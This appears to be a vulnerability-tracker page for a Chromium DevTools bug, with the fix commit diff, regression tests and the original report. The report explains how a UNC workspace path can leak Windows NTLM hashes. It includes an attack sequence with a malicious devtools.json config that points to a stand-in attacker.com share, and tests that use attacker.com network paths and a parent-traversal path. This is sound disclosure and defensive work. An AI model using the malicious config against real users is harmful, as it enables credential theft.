Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient validation of untrusted input in DevTools
DescriptionInsufficient validation of untrusted input in DevTools
ComponentDevTools
Bug ClassLogic Error
Tracker513719481
Fix commite9b1faaafd0a (chromium/src) +44/-4
CISA KEVNot listed
CreditedGoogle
Disclosed2026-06-30

Changed Functions

FunctionChangeNotes
TEST_F
chrome/browser/devtools/devtools_file_helper_unittest.cc
modified
for
chrome/browser/devtools/devtools_file_helper_unittest.cc
modified

Files Changed

  • chrome/browser/devtools/devtools_file_helper.cc
  • chrome/browser/devtools/devtools_file_helper_unittest.cc
From e9b1faaafd0aa0429f4e8c426b3f727855060b00 Mon Sep 17 00:00:00 2001
From: Wolfgang Beyer <wolfi@chromium.org>
Date: Thu, 28 May 2026 01:09:08 -0700
Subject: [PATCH] [DevTools] Verify workspace path is local and does not reference parent

Fixed: 513719481
Change-Id: I20aa1e2cb38ffdcc087f6ad95fb79ed8583edd65
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7876392
Auto-Submit: Wolfgang Beyer <wolfi@chromium.org>
Commit-Queue: Wolfgang Beyer <wolfi@chromium.org>
Reviewed-by: Alex Rudenko <alexrudenko@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1637533}
---

diff --git a/chrome/browser/devtools/devtools_file_helper.cc b/chrome/browser/devtools/devtools_file_helper.cc
index aa1eb15..5e343b6 100644
--- a/chrome/browser/devtools/devtools_file_helper.cc
+++ b/chrome/browser/devtools/devtools_file_helper.cc
@@ -288,12 +288,13 @@
     ConnectCallback connect_callback) {
   DCHECK(file_system_uuid.is_valid());
 
-  // Make sure that |file_system_path| is a valid absolute path.
+  // Reject unsafe network, relative, or parent-referencing paths synchronously
+  // to avoid performing any filesystem existence/presence checks.
   base::FilePath path = base::FilePath::FromUTF8Unsafe(file_system_path);
-  if (!path.IsAbsolute()) {
+  if (!path.IsAbsolute() || path.IsNetwork() || path.ReferencesParent()) {
     LOG(ERROR) << "Rejected automatic file system " << file_system_path
-               << " with UUID " << file_system_uuid << " because it's not"
-               << " a valid absolute path.";
+               << " with UUID " << file_system_uuid
+               << " (not a safe local absolute path).";
     std::move(connect_callback).Run(false);
     FailedToAddFileSystem(kIllegalPath);
     return;
diff --git a/chrome/browser/devtools/devtools_file_helper_unittest.cc b/chrome/browser/devtools/devtools_file_helper_unittest.cc
index 8a25089..367d982 100644
--- a/chrome/browser/devtools/devtools_file_helper_unittest.cc
+++ b/chrome/browser/devtools/devtools_file_helper_unittest.cc
@@ -345,6 +345,45 @@
               IsEmpty());
 }
 
+TEST_F(DevToolsFileHelperTest, ConnectAutomaticFileSystemWithNetworkPath) {
+  std::vector<std::string> network_paths = {"//attacker.com/share"};
+#if BUILDFLAG(IS_WIN)
+  network_paths.push_back("\\\\attacker.com\\share");
+#endif
+
+  for (const std::string& path_str : network_paths) {
+    base::MockCallback<DevToolsFileHelper::ConnectCallback> connect_cb;
+    EXPECT_CALL(connect_cb, Run(false));
+    EXPECT_CALL(delegate(), FileSystemAdded("<illegal path>", IsNull()));
+
+    file_helper()->ConnectAutomaticFileSystem(
+        path_str, base::Uuid::GenerateRandomV4(),
+        /* add_if_missing */ false, base::DoNothing(), connect_cb.Get());
+
+    EXPECT_THAT(profile()->GetPrefs()->GetDict(prefs::kDevToolsFileSystemPaths),
+                IsEmpty());
+  }
+}
+
+TEST_F(DevToolsFileHelperTest, ConnectAutomaticFileSystemWithParentReferences) {
+#if BUILDFLAG(IS_WIN)
+  std::string traversal_path = "c:\\foo\\bar\\..\\baz";
+#else
+  std::string traversal_path = "/foo/bar/../baz";
+#endif
+
+  base::MockCallback<DevToolsFileHelper::ConnectCallback> connect_cb;
+  EXPECT_CALL(connect_cb, Run(false));
+  EXPECT_CALL(delegate(), FileSystemAdded("<illegal path>", IsNull()));
+
+  file_helper()->ConnectAutomaticFileSystem(
+      traversal_path, base::Uuid::GenerateRandomV4(),
+      /* add_if_missing */ false, base::DoNothing(), connect_cb.Get());
+
+  EXPECT_THAT(profile()->GetPrefs()->GetDict(prefs::kDevToolsFileSystemPaths),
+              IsEmpty());
+}
+
 TEST_F(DevToolsFileHelperTest, ConnectAutomaticFileSystemWithNonExistentPath) {
   base::ScopedTempDir td;
   ASSERT_TRUE(td.CreateUniqueTempDir());
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/chrome/browser/devtools/devtools_file_helper_unittest.cc b/chrome/browser/devtools/devtools_file_helper_unittest.cc
index 8a25089..367d982 100644
--- a/chrome/browser/devtools/devtools_file_helper_unittest.cc
+++ b/chrome/browser/devtools/devtools_file_helper_unittest.cc
@@ -345,6 +345,45 @@
               IsEmpty());
 }
 
+TEST_F(DevToolsFileHelperTest, ConnectAutomaticFileSystemWithNetworkPath) {
+  std::vector<std::string> network_paths = {"//attacker.com/share"};
+#if BUILDFLAG(IS_WIN)
+  network_paths.push_back("\\\\attacker.com\\share");
+#endif
+
+  for (const std::string& path_str : network_paths) {
+    base::MockCallback<DevToolsFileHelper::ConnectCallback> connect_cb;
+    EXPECT_CALL(connect_cb, Run(false));
+    EXPECT_CALL(delegate(), FileSystemAdded("<illegal path>", IsNull()));
+
+    file_helper()->ConnectAutomaticFileSystem(
+        path_str, base::Uuid::GenerateRandomV4(),
+        /* add_if_missing */ false, base::DoNothing(), connect_cb.Get());
+
+    EXPECT_THAT(profile()->GetPrefs()->GetDict(prefs::kDevToolsFileSystemPaths),
+                IsEmpty());
+  }
+}
+
+TEST_F(DevToolsFileHelperTest, ConnectAutomaticFileSystemWithParentReferences) {
+#if BUILDFLAG(IS_WIN)
+  std::string traversal_path = "c:\\foo\\bar\\..\\baz";
+#else
+  std::string traversal_path = "/foo/bar/../baz";
+#endif
+
+  base::MockCallback<DevToolsFileHelper::ConnectCallback> connect_cb;
+  EXPECT_CALL(connect_cb, Run(false));
+  EXPECT_CALL(delegate(), FileSystemAdded("<illegal path>", IsNull()));
+
+  file_helper()->ConnectAutomaticFileSystem(
+      traversal_path, base::Uuid::GenerateRandomV4(),
+      /* add_if_missing */ false, base::DoNothing(), connect_cb.Get());
+
+  EXPECT_THAT(profile()->GetPrefs()->GetDict(prefs::kDevToolsFileSystemPaths),
+              IsEmpty());
+}
+
 TEST_F(DevToolsFileHelperTest, ConnectAutomaticFileSystemWithNonExistentPath) {
   base::ScopedTempDir td;
   ASSERT_TRUE(td.CreateUniqueTempDir());
Loading diff…

Original Bug Report

reported by vm...@google.com

Potential NTLM Hash Leak via DevTools Automatic Workspace UNC Paths on Windows

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: The DevTools ‘Automatic Workspace Folders’ feature on Windows is potentially vulnerable to NTLM credential leakage. A local-origin page can provide a UNC path in its workspace configuration that triggers an outbound SMB connection from the browser process before any user consent is obtained.

Affected files:

  • chrome/browser/devtools/devtools_file_helper.cc
  • chrome/browser/devtools/devtools_ui_bindings.cc
  • third_party/devtools-frontend/src/front_end/models/project_settings/ProjectSettingsModel.ts
  • third_party/devtools-frontend/src/front_end/models/persistence/AutomaticFileSystemManager.ts
  • third_party/devtools-frontend/src/front_end/models/persistence/AutomaticFileSystemWorkspaceBinding.ts
  • third_party/devtools-frontend/src/front_end/panels/sources/NavigatorView.ts

Estimated timestamp from git blame: 2025-02-25

Summary

On Windows, the DevTools ‘Automatic Workspace Folders’ feature can be manipulated to disclose a user’s NTLMv2 challenge-response hash. This occurs because the browser process performs a filesystem existence check on a page-provided path before requesting user permission. If this path is a UNC path (e.g., \\attacker.com\share), the Windows SMB redirector will initiate an outbound connection, leaking credentials to the remote host.

Potential Root Cause

In chrome/browser/devtools/devtools_file_helper.cc, the function DevToolsFileHelper::ConnectAutomaticFileSystem receives a file_system_path provided by the DevTools frontend. On Windows, it validates that the path is absolute using path.IsAbsolute(). However, it does not check if the path is a network or UNC path.

Before displaying a permission Infobar to the user, the code attempts to verify the directory exists:

// chrome/browser/devtools/devtools_file_helper.cc:331
file_task_runner_->PostTaskAndReplyWithResult(
    FROM_HERE, BindOnce(&base::DirectoryExists, path),
    BindOnce(&DevToolsFileHelper::ConnectMissingAutomaticFileSystem, ...));

On Windows, base::DirectoryExists eventually calls the Win32 API GetFileAttributes. When invoked with a UNC path, this API triggers an outbound SMB connection. This connection occurs before ConnectMissingAutomaticFileSystem is called, which is the function responsible for triggering the user consent Infobar.

Persistence and Zero-Click Leakage

If a user initially grants permission for a malicious workspace, the path is saved in the profile’s preferences (prefs::kDevToolsFileSystemPaths). On subsequent visits to any localhost page providing the same path, DevTools will automatically attempt to connect. This triggers DevToolsFileWatcher::SharedFileWatcher::AddWatch, which performs directory enumeration (GetModificationTimes), leading to silent, zero-click NTLM leakage in future sessions.

Potential Attack Sequence

  1. An attacker identifies a way to serve content from the victim’s localhost (e.g., a local development server or a local service).
  2. The attacker provides a configuration at http://localhost/.well-known/appspecific/com.chrome.devtools.json with a malicious UNC path: {"workspace": {"root": "\\\\attacker.com\\share\\project", "uuid": "..."}}.
  3. The victim opens DevTools on the localhost page. DevTools displays a connectable folder named ‘project’ (obfuscating the full UNC path).
  4. The victim clicks ‘Connect’.
  5. The browser process calls base::DirectoryExists on the UNC path, leaking the NTLMv2 hash to attacker.com before any permission prompt appears.

Suggested Fix

In DevToolsFileHelper::ConnectAutomaticFileSystem, add a check to reject network paths before performing any asynchronous operations. On Windows, this can be achieved by checking path.IsNetwork() or ensuring the path is a local drive path.

if (!path.IsAbsolute() || path.IsNetwork()) {
  // Reject the path
}

Evaluated with Chrome root at commit: 1a8d40fc44df2088d5945c0bf53584038aa1614a


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker